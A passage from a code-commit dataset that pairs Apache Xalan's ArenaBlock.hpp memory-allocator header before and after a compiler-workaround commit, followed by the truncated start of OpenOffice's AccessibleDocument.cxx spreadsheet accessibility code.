may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(ARENABLOCK_INCLUDE_GUARD_1357924680)\n#define ARENABLOCK_INCLUDE_GUARD_1357924680\n\n\n\n#include <algorithm>\n#include <cassert>\n#include <set>\n#include <memory>\n\n\n\n#if defined(XALAN_NO_STD_ALLOCATORS) && !defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n#include <PlatformSupport\/XalanAllocator.hpp>\n#endif\n\n\n\n#if defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n\ntemplate <class Type>\nclass ArenaBlockAllocator\n{\npublic:\n\n\ttypedef size_t\t\t\tsize_type;\n\ttypedef ptrdiff_t\t\tdifference_type;\n\ttypedef Type*\t\t\tpointer;\n\ttypedef const Type*\t\tconst_pointer;\n\ttypedef Type&\t\t\treference;\n\ttypedef const Type&\t\tconst_reference;\n\ttypedef Type\t\t\tvalue_type;\n\n\tArenaBlockAllocator()\n\t{\n\t}\n\n\tArenaBlockAllocator(const ArenaBlockAllocator<Type>&)\n\t{\n\t};\n\n\t~ArenaBlockAllocator()\n\t{\n\t}\n\n\tpointer\n\tallocate(\n\t\t\tsize_type\t\tsize,\n\t\t\tconst void*\t\t\/* hint *\/ = 0)\n\t{\n\t\treturn (pointer)operator new(size * sizeof(Type));\n\t}\n\n\tvoid\n\tdeallocate(\n\t\t\t\tpointer\t\tp,\n\t\t\t\tsize_type\t\/* n *\/)\n\t{\n\t\toperator delete(p);\n\t}\n};\n#endif\n\n\n\ntemplate<class ObjectType>\nclass ArenaBlockDestroy\n{\npublic:\n\n\tvoid\n\toperator()(ObjectType&\ttheObject) const\n\t{\n\t\ttheObject.ObjectType::~ObjectType();\n\t}\n};\n\n\n\ntemplate<class ObjectType>\nclass ArenaBlock\n{\npublic:\n\n#if defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n\ttypedef ArenaBlockAllocator<ObjectType>\t\tAllocatorType;\n#elif defined(XALAN_NO_STD_ALLOCATORS)\n\ttypedef XalanAllocator<ObjectType>\t\t\tAllocatorType;\n#else\n\ttypedef std::allocator<ObjectType>\t\t\tAllocatorType;\n#endif\n\n\ttypedef ArenaBlockDestroy<ObjectType>\t\tDestroyFunctionType;\n\n\ttypedef typename AllocatorType::size_type\tsize_type;\n\n\t\/*\n\t * Construct an ArenaBlock of the specified size\n\t * of objects.\n\t *\n\t * @param theBlockSize The size of the block (the number of objects it can contain).\n\t *\/\n\tArenaBlock(size_type\ttheBlockSize) :\n\t\tm_destroyFunction(DestroyFunctionType()),\n\t\tm_objectCount(0),\n\t\tm_blockSize(theBlockSize),\n\t\tm_objectBlock(0),\n\t\tm_allocator()\n\t{\n\t\tassert(theBlockSize > 0);\n\t}\n\n\tvirtual \n\t~ArenaBlock()\n\t{\n\t\tdestroyAll();\n\n\t\t\/\/ Release the memory...\n\t\tm_allocator.deallocate(m_objectBlock, 0);\n\t}\n\n\t\/*\n\t * Allocate a block. Once the object is constructed, you must call\n\t * commitAllocation().\n\t *\n\t * @return a pointer to the new block.\n\t *\/\n\tvirtual ObjectType*\n\tallocateBlock()\n\t{\n\t\t\/\/ Any space left?\n\t\tif (m_objectCount == m_blockSize)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ If no memory has yet been allocated, then allocate it...\n\t\t\tif (m_objectBlock == 0)\n\t\t\t{\n#if defined(XALAN_NEW_STD_ALLOCATOR)\n\t\t\t\tm_objectBlock = m_allocator.allocate(m_blockSize);\n#else\n\t\t\t\tm_objectBlock = m_allocator.allocate(m_blockSize, 0);\n#endif\n\t\t\t}\n\t\t\tassert(m_objectBlock != 0);\n\n\t\t\treturn m_objectBlock + m_objectCount;\n\t\t}\n\t}\n\n\t\/*\n\t * Commit the previous allocation.\n\t *\n\t * @param theBlock the address that was returned by allocateBlock()\n\t *\/\n\tvirtual void\n#if defined (NDEBUG)\n\tcommitAllocation(ObjectType*\t\/* theBlock *\/)\n#else\n\tcommitAllocation(ObjectType*\ttheBlock)\n#endif\n\t{\n\t\tassert(theBlock == m_objectBlock + m_objectCount);\n\t\tassert(m_objectCount < m_blockSize);\n\n\t\tm_objectCount++;\n\t}\n\n\t\/*\n\t * Find out if there is a block available.\n\t *\n\t * @return true if one is available, false if not.\n\t *\/\n\tvirtual bool\n\tblockAvailable() const\n\t{\n\t\treturn m_objectCount < m_blockSize ? true : false;\n\t}\n\n\t\/*\n\t * Get the number of objects currently allocated in the\n\t * block.\n\t *\n\t * @return The number of objects allocated.\n\t *\/\n\tvirtual size_type\n\tgetCountAllocated() const\n\t{\n\t\treturn m_objectCount;\n\t}\n\n\t\/*\n\t * Get the block size, that is, the number\n\t * of objects in each block.\n\t *\n\t * @return The size of the block\n\t *\/\n\tsize_type\n\tgetBlockSize() const\n\t{\n\t\treturn m_blockSize;\n\t}\n\n\t\/*\n\t * Determine if this block owns the specified object. Note\n\t * that even if the object address is within our block, this\n\t * call will return false if no object currently occupies the\n\t * block. See also ownsBlock().\n\t *\n\t * @param theObject the address of the object.\n\t * @return true if we own the object, false if not.\n\t *\/\n\tvirtual bool\n\townsObject(const ObjectType*\ttheObject) const\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::less;\n#endif\n\n\t\t\/\/ Use less<>, since it's guaranteed to do pointer\n\t\t\/\/ comparisons correctly...\n\t\tless<const ObjectType*>\t\tfunctor;\n\n\t\tif (functor(theObject, m_objectBlock) == false &&\n\t\t\tfunctor(theObject, m_objectBlock + m_objectCount) == true)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/*\n\t * Determine if this block owns the specified object block.\n\t * Note that, unlike ownsObject(), there does not need to\n\t * be an object at the address.\n\t *\n\t * @param theObject the address of the object\n\t * @return true if we own the object block, false if not.\n\t *\/\n\tbool\n\townsBlock(const ObjectType*\t\ttheObject) const\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::less;\n#endif\n\n\t\t\/\/ Use less<>, since it's guaranteed to do pointer\n\t\t\/\/ comparisons correctly...\n\t\tless<const ObjectType*>\t\tfunctor;\n\n\t\tif (functor(theObject, m_objectBlock) == false &&\n\t\t\tfunctor(theObject, m_objectBlock + m_blockSize) == true)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/*\n\t * Destroy all objects in the block. You can then reuse the\n\t * block.\n\t *\/\n\tvoid\n\tdestroyAll()\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::for_each;\n#endif\n\n\t\t\/\/ Destroy all existing objects...\n\t\tfor_each(m_objectBlock,\n\t\t\t\t m_objectBlock + m_objectCount,\n\t\t\t\t DeleteFunctor(*this, m_destroyFunction));\n\n\t\tm_objectCount = 0;\n\t}\n\nprotected:\n\n\t\/*\n\t * Determine if the block should be destroyed. Called by\n\t * an instance of DeleteFunctor, this function is for\n\t * deriving classes that might want to control the destruction\n\t * of things.\n\t *\n\t * @param theObject the address of the object\n\t * @return true if block should be destroyed, false if not.\n\t *\/\n\tvirtual bool\n\tshouldDestroyBlock(const ObjectType*\t\/* theObject *\/) const\n\t{\n\t\treturn true;\n\t}\n\n\t\/*\n\t * Determine the offset into the block for the given address.\n\t * Behavior is undefined if the address is not within our\n\t * block\n\t *\n\t * @param theObject the address of the object\n\t * @return the offset\n\t *\/\n\tsize_type\n\tgetBlockOffset(const ObjectType*\ttheObject) const\n\t{\n\t\tassert(size_type(theObject - m_objectBlock) < m_blockSize);\n\n\t\treturn theObject - m_objectBlock;\n\t}\n\n\t\/*\n\t * Determine the address within our block of the object\n\t * at the specified offset.\n\t * Behavior is undefined if the offset is greater than the\n\t * block size.\n\t *\n\t * @param theObject the address of the object\n\t * @return the offset\n\t *\/\n\tObjectType*\n\tgetBlockAddress(size_type\ttheOffset) const\n\t{\n\t\tassert(theOffset < m_blockSize);\n\n\t\treturn m_objectBlock + theOffset;\n\t}\n\n\tstruct DeleteFunctor\n\t{\n\t\tDeleteFunctor(\n\t\t\t\tconst ArenaBlock<ObjectType>&\ttheArenaBlock,\n\t\t\t\tconst DestroyFunctionType&\t\ttheDestroyFunction) :\n\t\t\tm_arenaBlock(theArenaBlock),\n\t\t\tm_destroyFunction(theDestroyFunction)\n\t\t{\n\t\t}\n\n\t\tvoid\n\t\toperator()(ObjectType&\ttheObject) const\n\t\t{\n\t\t\tif (m_arenaBlock.shouldDestroyBlock(&theObject) == true)\n\t\t\t{\n\t\t\t\tm_destroyFunction(theObject);\n\t\t\t}\n\t\t}\n\n\tprivate:\n\n\t\tconst ArenaBlock<ObjectType>&\tm_arenaBlock;\n\t\tconst DestroyFunctionType&\t\tm_destroyFunction;\n\t};\n\n\tfriend struct DeleteFunctor;\n\n\tconst DestroyFunctionType\tm_destroyFunction;\n\nprivate:\n\n\t\/\/ Not implemented...\n\tArenaBlock(const ArenaBlock<ObjectType>&);\n\n\tArenaBlock<ObjectType>&\n\toperator=(const ArenaBlock<ObjectType>&);\n\n\tbool\n\toperator==(const ArenaBlock<ObjectType>&) const;\n\n\n\t\/\/ data members...\n\tsize_type\t\t\tm_objectCount;\n\n\tconst size_type\t\tm_blockSize;\n\n\tObjectType*\t\t\tm_objectBlock;\n\n\tAllocatorType\t\tm_allocator;\n};\n\n\n\n#endif\t\/\/ !defined(ARENABLOCK_INCLUDE_GUARD_1357924680)\n<commit_msg>Added workaround for broken IBM compiler.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(ARENABLOCK_INCLUDE_GUARD_1357924680)\n#define ARENABLOCK_INCLUDE_GUARD_1357924680\n\n\n\n#include <algorithm>\n#include <cassert>\n#include <set>\n#include <memory>\n\n\n\n#if defined(XALAN_NO_STD_ALLOCATORS) && !defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n#include <PlatformSupport\/XalanAllocator.hpp>\n#endif\n\n\n\n#if defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n\ntemplate <class Type>\nclass ArenaBlockAllocator\n{\npublic:\n\n\ttypedef size_t\t\t\tsize_type;\n\ttypedef ptrdiff_t\t\tdifference_type;\n\ttypedef Type*\t\t\tpointer;\n\ttypedef const Type*\t\tconst_pointer;\n\ttypedef Type&\t\t\treference;\n\ttypedef const Type&\t\tconst_reference;\n\ttypedef Type\t\t\tvalue_type;\n\n\tArenaBlockAllocator()\n\t{\n\t}\n\n\tArenaBlockAllocator(const ArenaBlockAllocator<Type>&)\n\t{\n\t};\n\n\t~ArenaBlockAllocator()\n\t{\n\t}\n\n\tpointer\n\tallocate(\n\t\t\tsize_type\t\tsize,\n\t\t\tconst void*\t\t\/* hint *\/ = 0)\n\t{\n\t\treturn (pointer)operator new(size * sizeof(Type));\n\t}\n\n\tvoid\n\tdeallocate(\n\t\t\t\tpointer\t\tp,\n\t\t\t\tsize_type\t\/* n *\/)\n\t{\n\t\toperator delete(p);\n\t}\n};\n#endif\n\n\n\ntemplate<class ObjectType>\nclass ArenaBlockDestroy\n{\npublic:\n\n\tvoid\n\toperator()(ObjectType&\ttheObject) const\n\t{\n#if defined(XALAN_EXPLICIT_SCOPE_IN_TEMPLATE_BUG)\n\t\ttheObject.~ObjectType();\n#else\n\t\ttheObject.ObjectType::~ObjectType();\n#endif\n\t}\n};\n\n\n\ntemplate<class ObjectType>\nclass ArenaBlock\n{\npublic:\n\n#if defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n\ttypedef ArenaBlockAllocator<ObjectType>\t\tAllocatorType;\n#elif defined(XALAN_NO_STD_ALLOCATORS)\n\ttypedef XalanAllocator<ObjectType>\t\t\tAllocatorType;\n#else\n\ttypedef std::allocator<ObjectType>\t\t\tAllocatorType;\n#endif\n\n\ttypedef ArenaBlockDestroy<ObjectType>\t\tDestroyFunctionType;\n\n\ttypedef typename AllocatorType::size_type\tsize_type;\n\n\t\/*\n\t * Construct an ArenaBlock of the specified size\n\t * of objects.\n\t *\n\t * @param theBlockSize The size of the block (the number of objects it can contain).\n\t *\/\n\tArenaBlock(size_type\ttheBlockSize) :\n\t\tm_destroyFunction(DestroyFunctionType()),\n\t\tm_objectCount(0),\n\t\tm_blockSize(theBlockSize),\n\t\tm_objectBlock(0),\n\t\tm_allocator()\n\t{\n\t\tassert(theBlockSize > 0);\n\t}\n\n\tvirtual \n\t~ArenaBlock()\n\t{\n\t\tdestroyAll();\n\n\t\t\/\/ Release the memory...\n\t\tm_allocator.deallocate(m_objectBlock, 0);\n\t}\n\n\t\/*\n\t * Allocate a block. Once the object is constructed, you must call\n\t * commitAllocation().\n\t *\n\t * @return a pointer to the new block.\n\t *\/\n\tvirtual ObjectType*\n\tallocateBlock()\n\t{\n\t\t\/\/ Any space left?\n\t\tif (m_objectCount == m_blockSize)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ If no memory has yet been allocated, then allocate it...\n\t\t\tif (m_objectBlock == 0)\n\t\t\t{\n#if defined(XALAN_NEW_STD_ALLOCATOR)\n\t\t\t\tm_objectBlock = m_allocator.allocate(m_blockSize);\n#else\n\t\t\t\tm_objectBlock = m_allocator.allocate(m_blockSize, 0);\n#endif\n\t\t\t}\n\t\t\tassert(m_objectBlock != 0);\n\n\t\t\treturn m_objectBlock + m_objectCount;\n\t\t}\n\t}\n\n\t\/*\n\t * Commit the previous allocation.\n\t *\n\t * @param theBlock the address that was returned by allocateBlock()\n\t *\/\n\tvirtual void\n#if defined (NDEBUG)\n\tcommitAllocation(ObjectType*\t\/* theBlock *\/)\n#else\n\tcommitAllocation(ObjectType*\ttheBlock)\n#endif\n\t{\n\t\tassert(theBlock == m_objectBlock + m_objectCount);\n\t\tassert(m_objectCount < m_blockSize);\n\n\t\tm_objectCount++;\n\t}\n\n\t\/*\n\t * Find out if there is a block available.\n\t *\n\t * @return true if one is available, false if not.\n\t *\/\n\tvirtual bool\n\tblockAvailable() const\n\t{\n\t\treturn m_objectCount < m_blockSize ? true : false;\n\t}\n\n\t\/*\n\t * Get the number of objects currently allocated in the\n\t * block.\n\t *\n\t * @return The number of objects allocated.\n\t *\/\n\tvirtual size_type\n\tgetCountAllocated() const\n\t{\n\t\treturn m_objectCount;\n\t}\n\n\t\/*\n\t * Get the block size, that is, the number\n\t * of objects in each block.\n\t *\n\t * @return The size of the block\n\t *\/\n\tsize_type\n\tgetBlockSize() const\n\t{\n\t\treturn m_blockSize;\n\t}\n\n\t\/*\n\t * Determine if this block owns the specified object. Note\n\t * that even if the object address is within our block, this\n\t * call will return false if no object currently occupies the\n\t * block. See also ownsBlock().\n\t *\n\t * @param theObject the address of the object.\n\t * @return true if we own the object, false if not.\n\t *\/\n\tvirtual bool\n\townsObject(const ObjectType*\ttheObject) const\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::less;\n#endif\n\n\t\t\/\/ Use less<>, since it's guaranteed to do pointer\n\t\t\/\/ comparisons correctly...\n\t\tless<const ObjectType*>\t\tfunctor;\n\n\t\tif (functor(theObject, m_objectBlock) == false &&\n\t\t\tfunctor(theObject, m_objectBlock + m_objectCount) == true)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/*\n\t * Determine if this block owns the specified object block.\n\t * Note that, unlike ownsObject(), there does not need to\n\t * be an object at the address.\n\t *\n\t * @param theObject the address of the object\n\t * @return true if we own the object block, false if not.\n\t *\/\n\tbool\n\townsBlock(const ObjectType*\t\ttheObject) const\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::less;\n#endif\n\n\t\t\/\/ Use less<>, since it's guaranteed to do pointer\n\t\t\/\/ comparisons correctly...\n\t\tless<const ObjectType*>\t\tfunctor;\n\n\t\tif (functor(theObject, m_objectBlock) == false &&\n\t\t\tfunctor(theObject, m_objectBlock + m_blockSize) == true)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/*\n\t * Destroy all objects in the block. You can then reuse the\n\t * block.\n\t *\/\n\tvoid\n\tdestroyAll()\n\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::for_each;\n#endif\n\n\t\t\/\/ Destroy all existing objects...\n\t\tfor_each(m_objectBlock,\n\t\t\t\t m_objectBlock + m_objectCount,\n\t\t\t\t DeleteFunctor(*this, m_destroyFunction));\n\n\t\tm_objectCount = 0;\n\t}\n\nprotected:\n\n\t\/*\n\t * Determine if the block should be destroyed. Called by\n\t * an instance of DeleteFunctor, this function is for\n\t * deriving classes that might want to control the destruction\n\t * of things.\n\t *\n\t * @param theObject the address of the object\n\t * @return true if block should be destroyed, false if not.\n\t *\/\n\tvirtual bool\n\tshouldDestroyBlock(const ObjectType*\t\/* theObject *\/) const\n\t{\n\t\treturn true;\n\t}\n\n\t\/*\n\t * Determine the offset into the block for the given address.\n\t * Behavior is undefined if the address is not within our\n\t * block\n\t *\n\t * @param theObject the address of the object\n\t * @return the offset\n\t *\/\n\tsize_type\n\tgetBlockOffset(const ObjectType*\ttheObject) const\n\t{\n\t\tassert(size_type(theObject - m_objectBlock) < m_blockSize);\n\n\t\treturn theObject - m_objectBlock;\n\t}\n\n\t\/*\n\t * Determine the address within our block of the object\n\t * at the specified offset.\n\t * Behavior is undefined if the offset is greater than the\n\t * block size.\n\t *\n\t * @param theObject the address of the object\n\t * @return the offset\n\t *\/\n\tObjectType*\n\tgetBlockAddress(size_type\ttheOffset) const\n\t{\n\t\tassert(theOffset < m_blockSize);\n\n\t\treturn m_objectBlock + theOffset;\n\t}\n\n\tstruct DeleteFunctor\n\t{\n\t\tDeleteFunctor(\n\t\t\t\tconst ArenaBlock<ObjectType>&\ttheArenaBlock,\n\t\t\t\tconst DestroyFunctionType&\t\ttheDestroyFunction) :\n\t\t\tm_arenaBlock(theArenaBlock),\n\t\t\tm_destroyFunction(theDestroyFunction)\n\t\t{\n\t\t}\n\n\t\tvoid\n\t\toperator()(ObjectType&\ttheObject) const\n\t\t{\n\t\t\tif (m_arenaBlock.shouldDestroyBlock(&theObject) == true)\n\t\t\t{\n\t\t\t\tm_destroyFunction(theObject);\n\t\t\t}\n\t\t}\n\n\tprivate:\n\n\t\tconst ArenaBlock<ObjectType>&\tm_arenaBlock;\n\t\tconst DestroyFunctionType&\t\tm_destroyFunction;\n\t};\n\n\tfriend struct DeleteFunctor;\n\n\tconst DestroyFunctionType\tm_destroyFunction;\n\nprivate:\n\n\t\/\/ Not implemented...\n\tArenaBlock(const ArenaBlock<ObjectType>&);\n\n\tArenaBlock<ObjectType>&\n\toperator=(const ArenaBlock<ObjectType>&);\n\n\tbool\n\toperator==(const ArenaBlock<ObjectType>&) const;\n\n\n\t\/\/ data members...\n\tsize_type\t\t\tm_objectCount;\n\n\tconst size_type\t\tm_blockSize;\n\n\tObjectType*\t\t\tm_objectBlock;\n\n\tAllocatorType\t\tm_allocator;\n};\n\n\n\n#endif\t\/\/ !defined(ARENABLOCK_INCLUDE_GUARD_1357924680)\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: AccessibleDocument.cxx,v $\n *\n * $Revision: 1.15 $\n *\n * last change: $Author: sab $ $Date: 2002-03-12 09:44:28 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _SC_ACCESSIBLEDOCUMENT_HXX\n#include \"AccessibleDocument.hxx\"\n#endif\n#ifndef _SC_ACCESSIBLESPREADSHEET_HXX\n#include \"AccessibleSpreadsheet.hxx\"\n#endif\n#ifndef SC_TABVWSH_HXX\n#include \"tabvwsh.hxx\"\n#endif\n#ifndef SC_ACCESSIBILITYHINTS_HXX\n#include \"AccessibilityHints.hxx\"\n#endif\n#ifndef SC_DOCUMENT_HXX\n#include \"document.hxx\"\n#endif\n#ifndef SC_DRWLAYER_HXX\n#include \"drwlayer.hxx\"\n#endif\n#ifndef SC_UNOGUARD_HXX\n#include \"unoguard.hxx\"\n#endif\n\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEEVENTID_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/AccessibleEventId.hpp>\n#endif\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLESTATETYPE_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/AccessibleStateType.hpp>\n#endif\n\n#ifndef _UTL_ACCESSIBLESTATESETHELPER_HXX\n#include <unotools\/accessiblestatesethelper.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n#ifndef _SVDPAGE_HXX\n#include <svx\/svdpage.hxx>\n#endif\n#ifndef _SVDOBJ_HXX\n#include <svx\/svdobj.hxx>\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::drafts::com::sun::star::accessibility;\n\n \/\/===== internal ========================================================\n\nScAccessibleDocument::ScAccessibleDocument(\n const uno::Reference<XAccessible>& rxParent,\n ScTabViewShell* pViewShell,\n ScSplitPos eSplitPos)\n : ScAccessibleDocumentBase(rxParent),\n mpViewShell(pViewShell),\n meSplitPos(eSplitPos),\n mpAccessibleSpreadsheet(NULL)\n{\n if (pViewShell)\n pViewShell->AddAccessibilityObject(*this);\n}\n\nScAccessibleDocument::~ScAccessibleDocument(void)\n{\n FreeAccessibleSpreadsheet();\n if (mpViewShell)\n {\n mpViewShell->RemoveAccessibilityObject(*this);\n }\n}\n\nvoid ScAccessibleDocument::SetDefunc()\n{\n FreeAccessibleSpreadsheet();\n if (mpViewShell)\n {\n mpViewShell->RemoveAccessibilityObject(*this);\n mpViewShell = NULL;\n }\n\n ScAccessibleDocumentBase::SetDefunc();\n}\n\n \/\/===== SfxListener =====================================================\n\nvoid ScAccessibleDocument::Notify( SfxBroadcaster& rBC, const SfxHint& rHint )\n{\n if (rHint.ISA( ScAccGridViewChangeHint ) )\n {\n const ScAccGridViewChangeHint& rRef = (const ScAccGridViewChangeHint&)rHint;\n if ((rRef.GetOldGridWin() == meSplitPos) ||\n (rRef.GetNewGridWin() == meSplitPos))\n {\n awt::FocusEvent aFocusEvent;\n aFocusEvent.Temporary = sal_False;\n if (rRef.GetOldGridWin() == meSplitPos)\n {\n aFocusEvent.NextFocus = rRef.GetNewAccessible();\n CommitFocusLost(aFocusEvent);\n }\n else\n {\n aFocusEvent.NextFocus = rRef.GetOldAccessible();\n CommitFocusGained(aFocusEvent);\n }\n }\n }\n else if (rHint.ISA( SfxSimpleHint ))\n {\n const SfxSimpleHint& rRef = (const SfxSimpleHint&)rHint;\n \/\/ only notify if child exist, otherwise it is not necessary\n if ((rRef.GetId() == SC_HINT_ACC_TABLECHANGED) &&\n mpAccessibleSpreadsheet)\n {\n AccessibleEventObject aEvent;\n aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;\n aEvent.OldValue <<= GetAccessibleSpreadsheet();\n\n CommitChange(aEvent); \/\/ child is gone - event\n\n aEvent.OldValue = uno::Any();\n FreeAccessibleSpreadsheet(); \/\/ free the spreadsheet after free the reference on this object\n aEvent.NewValue <<= GetAccessibleSpreadsheet();\n\n CommitChange(aEvent); \/\/ there is a new child - event\n }\n else if (rRef.GetId() == SFX_HINT_DYING)\n {\n \/\/ it seems the Broadcaster is dying, since the view is dying\n SetDefunc();\n }\n }\n}\n\n \/\/===== XAccessibleComponent ============================================\n\nuno::Reference< XAccessible > SAL_CALL ScAccessibleDocument::getAccessibleAt(\n const awt::Point& rPoint )\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessible> xAccessible = NULL;\n SdrPage* pDrawPage = GetDrawPage();\n if (pDrawPage)\n {\n DBG_ERROR(\"not implemented\");\n }\n else\n xAccessible = GetAccessibleSpreadsheet();\n return xAccessible;\n}\n\nvoid SAL_CALL ScAccessibleDocument::grabFocus( )\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n if 